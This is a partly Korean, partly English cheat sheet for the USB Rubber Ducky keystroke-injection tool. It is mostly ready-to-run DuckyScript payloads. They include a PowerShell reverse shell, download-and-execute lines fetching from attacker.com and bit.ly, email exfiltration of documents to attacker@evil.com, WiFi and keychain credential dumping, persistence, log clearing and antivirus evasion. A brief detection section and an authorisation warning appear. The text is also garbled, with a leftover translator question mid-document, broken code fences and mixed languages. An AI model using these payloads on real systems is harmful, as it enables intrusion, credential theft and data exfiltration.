USB 러버 덕키 키스트로크 인젝션 도구 치트 시트

개요

USB 러버 덕키는 일반 플래시 드라이브로 위장된 키스트로크 인젝션 도구입니다. Hak5에서 개발한 이 도구는 대상 컴퓨터에 키보드로 인식되며, 초인적인 속도로 사전 프로그래밍된 키스트로크 시퀀스를 실행할 수 있습니다. 주로 침투 테스트, 소셜 엔지니어링 평가, 보안 시연에 사용됩니다.

⚠️ 경고: 이 도구는 승인된 침투 테스트 및 보안 평가 목적으로만 사용됩니다. 모든 환경에서 사용하기 전에 적절한 승인을 받았는지 확인하세요.

하드웨어 개요

USB 러버 덕키 사양

• 프로세서: 60 MHz 32비트 프로세서
• 저장소: MicroSD 카드 (최대 32GB)
• 인터페이스: USB 2.0
• 속도: 분당 1000단어 인젝션 속도
• 호환성: Windows, Mac, Linux, Android
• 전원: USB를 통한 버스 전원

필요한 구성 요소

• USB 러버 덕키 장치
• MicroSD 카드 (FAT 또는 FAT32로 포맷)
• 페이로드 개발을 위한 인터넷 접속 컴퓨터
• USB 포트가 있는 대상 컴퓨터

Would you like me to continue translating the remaining sections?```bash

Format MicroSD card

Windows: Use Disk Management or format command

format F: /FS:FAT32 /Q

Linux: Use fdisk and mkfs

sudo fdisk /dev/sdX sudo mkfs.fat -F32 /dev/sdX1

macOS: Use Disk Utility or diskutil

diskutil eraseDisk FAT32 DUCKY /dev/diskX

### Firmware Updates
```bash
# Download latest firmware from Hak5
# Flash firmware using DFU mode
# Hold button while plugging in to enter DFU mode

# Linux firmware flashing
sudo dfu-util -D firmware.bin

# Windows firmware flashing (use Hak5 Flash tool)
# Follow Hak5 documentation for firmware updates

File Structure

MicroSD Card Structure:
├── inject.bin (compiled payload)
├── config.txt (optional configuration)
└── payloads/ (source payload files)

DuckyScript Language

Basic Syntax

REM This is a comment
DELAY 1000
STRING Hello World
ENTER

Core Commands

명령어	설명	예시
REM	주석 줄	REM This is a comment
DELAY	실행 일시 중지 (ms)	DELAY 1000
STRING	텍스트 문자열 입력	STRING Hello World
ENTER	Enter 키를 누르세요	ENTER
TAB	Tab 키를 누르세요	TAB
ESCAPE	Esc 키를 누르세요	ESCAPE
SPACE	스페이스 키를 누르세요	SPACE
REPEAT	마지막 명령 반복	REPEAT 5

Modifier Keys

명령어	설명
CTRL or CONTROL	Ctrl 키
ALT	Alt 키
SHIFT	Shift 키
GUI or WINDOWS	Windows/Cmd 키
MENU or APP	메뉴/애플리케이션 키

Key Combinations

REM Ctrl+C (Copy)
CTRL c

REM Ctrl+Alt+Delete
CTRL ALT DELETE

REM Windows+R (Run dialog)
GUI r

REM Alt+Tab (Switch windows)
ALT TAB

REM Ctrl+Shift+Esc (Task Manager)
CTRL SHIFT ESCAPE

Payload Development

Basic Payload Structure

REM Author: Security Tester
REM Description: Basic Windows enumeration
REM Target: Windows 10/11

DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING whoami && hostname && ipconfig
ENTER
DELAY 2000
STRING exit
ENTER

Windows Payloads

System Information Gathering

REM Windows System Information
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Get-ComputerInfo|Out-File C:\temp\sysinfo.txt
ENTER
DELAY 2000
STRING Get-Process|Out-File C:\temp\processes.txt -Append
ENTER
DELAY 2000
STRING Get-Service|Out-File C:\temp\services.txt -Append
ENTER
DELAY 2000
STRING exit
ENTER

Network Reconnaissance

REM Network Information Gathering
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING ipconfig /all > C:\temp\network.txt
ENTER
DELAY 1000
STRING netstat -an >> C:\temp\network.txt
ENTER
DELAY 1000
STRING arp -a >> C:\temp\network.txt
ENTER
DELAY 1000
STRING route print >> C:\temp\network.txt
ENTER
DELAY 1000
STRING exit
ENTER

Credential Harvesting

REM WiFi Password Extraction
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING netsh wlan show profiles
ENTER
DELAY 2000
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j|findstr -i -v echo|netsh wlan show profiles %j key=clear
ENTER
DELAY 5000
STRING exit
ENTER

Persistence Mechanisms

REM Registry Persistence
DELAY 2000
GUI r
DELAY 500
STRING regedit
ENTER
DELAY 2000
CTRL f
DELAY 500
STRING HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
ENTER
DELAY 1000
ALT F4
DELAY 500
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityUpdate" /t REG_SZ /d "C:\Windows\System32\calc.exe"
ENTER
DELAY 1000
STRING exit
ENTER

macOS Payloads

System Information

REM macOS System Information
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING system_profiler SPHardwareDataType > ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING ps aux >> ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING netstat -an >> ~/Desktop/sysinfo.txt
ENTER
DELAY 2000
STRING exit
ENTER

Keychain Access

REM macOS Keychain Dump
DELAY 2000
GUI SPACE
DELAY 500
STRING terminal
ENTER
DELAY 1000
STRING security dump-keychain -d login.keychain > ~/Desktop/keychain.txt 2>&1
ENTER
DELAY 5000
STRING exit
ENTER

Linux Payloads

System Enumeration

REM Linux System Enumeration
DELAY 2000
CTRL ALT t
DELAY 1000
STRING uname -a > /tmp/sysinfo.txt
ENTER
DELAY 500
STRING cat /etc/passwd >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING ps aux >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING netstat -tulpn >> /tmp/sysinfo.txt
ENTER
DELAY 500
STRING exit
ENTER

Privilege Escalation Check

REM Linux Privilege Escalation Check
DELAY 2000
CTRL ALT t
DELAY 1000
STRING sudo -l > /tmp/privesc.txt
ENTER
DELAY 1000
STRING find / -perm -4000 2>/dev/null >> /tmp/privesc.txt
ENTER
DELAY 2000
STRING crontab -l >> /tmp/privesc.txt
ENTER
DELAY 1000
STRING exit
ENTER

Advanced Payloads

Multi-Stage Payloads

REM Multi-stage payload with download
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -ExecutionPolicy Bypass
ENTER
DELAY 1000
STRING IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/stage2.ps1')
ENTER
DELAY 5000
STRING exit
ENTER

Reverse Shell Payload

REM PowerShell Reverse Shell
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $client = New-Object System.Net.Sockets.TCPClient('192.168.1.100',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%\\\\{0\\\\};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)\\\\{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1|Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()\\\\};$client.Close()
ENTER

Data Exfiltration

REM Data Exfiltration via Email
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING $files = Get-ChildItem C:\Users\$env:USERNAME\Documents -Recurse -Include *.txt,*.doc,*.pdf|Select-Object -First 10
ENTER
DELAY 1000
STRING foreach($file in $files) \\\\{ $content = Get-Content $file.FullName -Raw; Send-MailMessage -To "attacker@evil.com" -From "victim@company.com" -Subject $file.Name -Body $content -SmtpServer "smtp.company.com" \\\\}
ENTER
DELAY 5000
STRING exit
ENTER

Anti-Forensics

REM Clear Event Logs
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Get-EventLog -List|ForEach-Object \\\\{ Clear-EventLog $_.Log \\\\}
ENTER
DELAY 2000
STRING Remove-Item $env:TEMP\* -Recurse -Force
ENTER
DELAY 2000
STRING exit
ENTER

Payload Compilation

Using DuckEncoder

# Download DuckEncoder
git clone https://github.com/hak5darren/USB-Rubber-Ducky.git
cd USB-Rubber-Ducky

# Compile payload
java -jar Encoder/encoder.jar -i payload.txt -o inject.bin

# Alternative online encoder
# Visit: https://ducktoolkit.com/encoder

Using Duck Toolkit

# Online compilation at ducktoolkit.com
# 1. Paste DuckyScript code
# 2. Select keyboard layout
# 3. Click "Encode Payload"
# 4. Download inject.bin file

Keyboard Layouts

# Common keyboard layouts
us          # US English
uk          # UK English
de          # German
fr          # French
es          # Spanish
it          # Italian
pt          # Portuguese
ru          # Russian

Deployment Strategies

Physical Access Scenarios

REM Quick deployment (30 seconds)
DELAY 2000
GUI r
DELAY 500
STRING cmd /c "powershell IEX (New-Object Net.WebClient).DownloadString('http://bit.ly/payload')"
ENTER

Social Engineering Integration

REM Disguised as software update
DELAY 3000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
STRING Dear User,
ENTER
STRING
ENTER
STRING A critical security update is being installed.
ENTER
STRING Please do not remove this device until complete.
ENTER
STRING
ENTER
STRING Estimated time: 2-3 minutes
ENTER
DELAY 2000
ALT F4
DELAY 500
REM Execute actual payload here

Persistence Payloads

REM Scheduled Task Persistence
DELAY 2000
GUI r
DELAY 500
STRING cmd
ENTER
DELAY 1000
STRING schtasks /create /tn "SecurityUpdate" /tr "powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\update.ps1" /sc daily /st 09:00
ENTER
DELAY 1000
STRING exit
ENTER

Evasion Techniques

Anti-Virus Evasion

REM Obfuscated PowerShell
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -EncodedCommand <base64_encoded_command>
ENTER

Timing-Based Evasion

REM Random delays to avoid detection
DELAY 3000
GUI r
DELAY 800
STRING cmd
ENTER
DELAY 1200
STRING echo "Normal user activity"
ENTER
DELAY 2500
REM Execute payload with human-like timing

Process Hiding

REM Hide PowerShell window
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden -NoProfile -NonInteractive
ENTER
DELAY 1000
STRING Start-Process powershell -ArgumentList "-WindowStyle Hidden -Command 'Your-Command-Here'" -WindowStyle Hidden
ENTER

Defensive Measures and Detection

USB Device Monitoring

# Monitor USB device insertions
Get-WinEvent -FilterHashtable @\\\\{LogName='System'; ID=20001,20003\\\\}|
Where-Object \\\\{$_.Message -like "*USB*"\\\\}

# Registry monitoring for USB devices
Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Enum\USBSTOR\*\*"|
Select-Object FriendlyName, Mfg, Service

Keystroke Injection Detection

# Monitor for rapid keystroke patterns
# Look for superhuman typing speeds in logs
Get-WinEvent -FilterHashtable @\\\\{LogName='Security'; ID=4648,4624\\\\}|
Where-Object \\\\{$_.TimeCreated -gt (Get-Date).AddMinutes(-5)\\\\}

# Monitor for suspicious command patterns
Get-WinEvent -FilterHashtable @\\\\{LogName='Microsoft-Windows-PowerShell/Operational'; ID=4104\\\\}|
Where-Object \\\\{$_.Message -like "*DownloadString*" -or $_.Message -like "*IEX*"\\\\}

USB Port Restrictions

REM Disable USB storage devices via Group Policy
REM Computer Configuration > Administrative Templates > System > Removable Storage Access

REM Registry method to disable USB storage
reg add "HKLM\SYSTEM\CurrentControlSet\Services\USBSTOR" /v Start /t REG_DWORD /d 4 /f

Countermeasures

Endpoint Protection

# Enable PowerShell logging
Set-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" -Name EnableScriptBlockLogging -Value 1

# Enable command line auditing
auditpol /set /subcategory:"Process Creation" /success:enable

# Monitor for suspicious processes
Get-Process|Where-Object \\\\{$_.ProcessName -like "*powershell*" -and $_.MainWindowTitle -eq ""\\\\}

Network Monitoring

# Monitor for suspicious network connections
netstat -an|grep ESTABLISHED|grep -E "(4444|8080|443)"

# DNS monitoring for suspicious domains
# Monitor DNS logs for newly registered domains or suspicious TLDs

User Education

Key indicators of USB Rubber Ducky attacks:
1. Unexpected keyboard activity
2. Rapid text entry beyond human capability
3. Command prompts appearing automatically
4. Suspicious network activity after USB insertion
5. New scheduled tasks or startup programs

Advanced Techniques

Payload Chaining

REM Stage 1: Initial access
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING Invoke-WebRequest -Uri "http://attacker.com/stage2.txt" -OutFile "$env:TEMP\s2.txt"
ENTER
DELAY 3000
STRING Get-Content "$env:TEMP\s2.txt"|Invoke-Expression
ENTER
DELAY 1000
STRING exit
ENTER

Environment Detection

REM Detect virtualized environment
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING if ((Get-WmiObject -Class Win32_ComputerSystem).Model -notlike "*Virtual*") \\\\{ Your-Payload-Here \\\\}
ENTER
DELAY 2000
STRING exit
ENTER

Conditional Execution

REM Execute only on specific OS version
DELAY 2000
GUI r
DELAY 500
STRING powershell -WindowStyle Hidden
ENTER
DELAY 1000
STRING if ([Environment]::OSVersion.Version.Major -eq 10) \\\\{ Your-Windows10-Payload \\\\}
ENTER
DELAY 2000
STRING exit
ENTER

Troubleshooting

Common Issues

Issue: Payload not executing
Solution: Check keyboard layout, verify inject.bin file

Issue: Commands typing incorrectly
Solution: Verify keyboard layout matches target system

Issue: Timing issues
Solution: Increase DELAY values for slower systems

Issue: Antivirus detection
Solution: Use obfuscation techniques, test on similar AV
```### 페이로드 디버깅
```bash
REM Debug payload with visible output
DELAY 2000
GUI r
DELAY 500
STRING notepad
ENTER
DELAY 1000
STRING Payload executed successfully
ENTER
STRING Current user:
STRING %USERNAME%
ENTER
STRING Current time:
STRING %TIME%
ENTER
```### 테스트 환경
```bash
# Set up isolated testing environment
# Use virtual machines for payload development
# Test on multiple OS versions and configurations
# Verify payload behavior before deployment
```## 법적 및 윤리적 고려사항

### 허가된 사용자만
- 테스트 전 서면 허가 획득
- 통제된 환경에서만 사용
- 모든 테스트 활동 문서화
- 책임있는 정보 공개 관행 준수

### 규정 준수 요구사항
- 현지 법률 준수 확인
- 조직의 보안 정책 따르기
- 증거에 대한 보관 연속성 유지
- 발견된 민감한 정보 보호

## 리소스

- [Hak5 USB Rubber Ducky](https://hak5.org/products/usb-rubber-ducky-deluxe)
- [DuckyScript 문서](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Duckyscript)
- [Duck 도구 키트](https://ducktoolkit.com/)
- [페이로드 저장소](https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads)
- [Hak5 포럼](https://forums.hak5.org/)

---

*이 치트 시트는 USB Rubber Ducky 사용에 대한 포괄적인 참고 자료를 제공합니다. 물리적 보안 평가를 수행하기 전에 항상 적절한 승인을 받았는지 확인하세요.*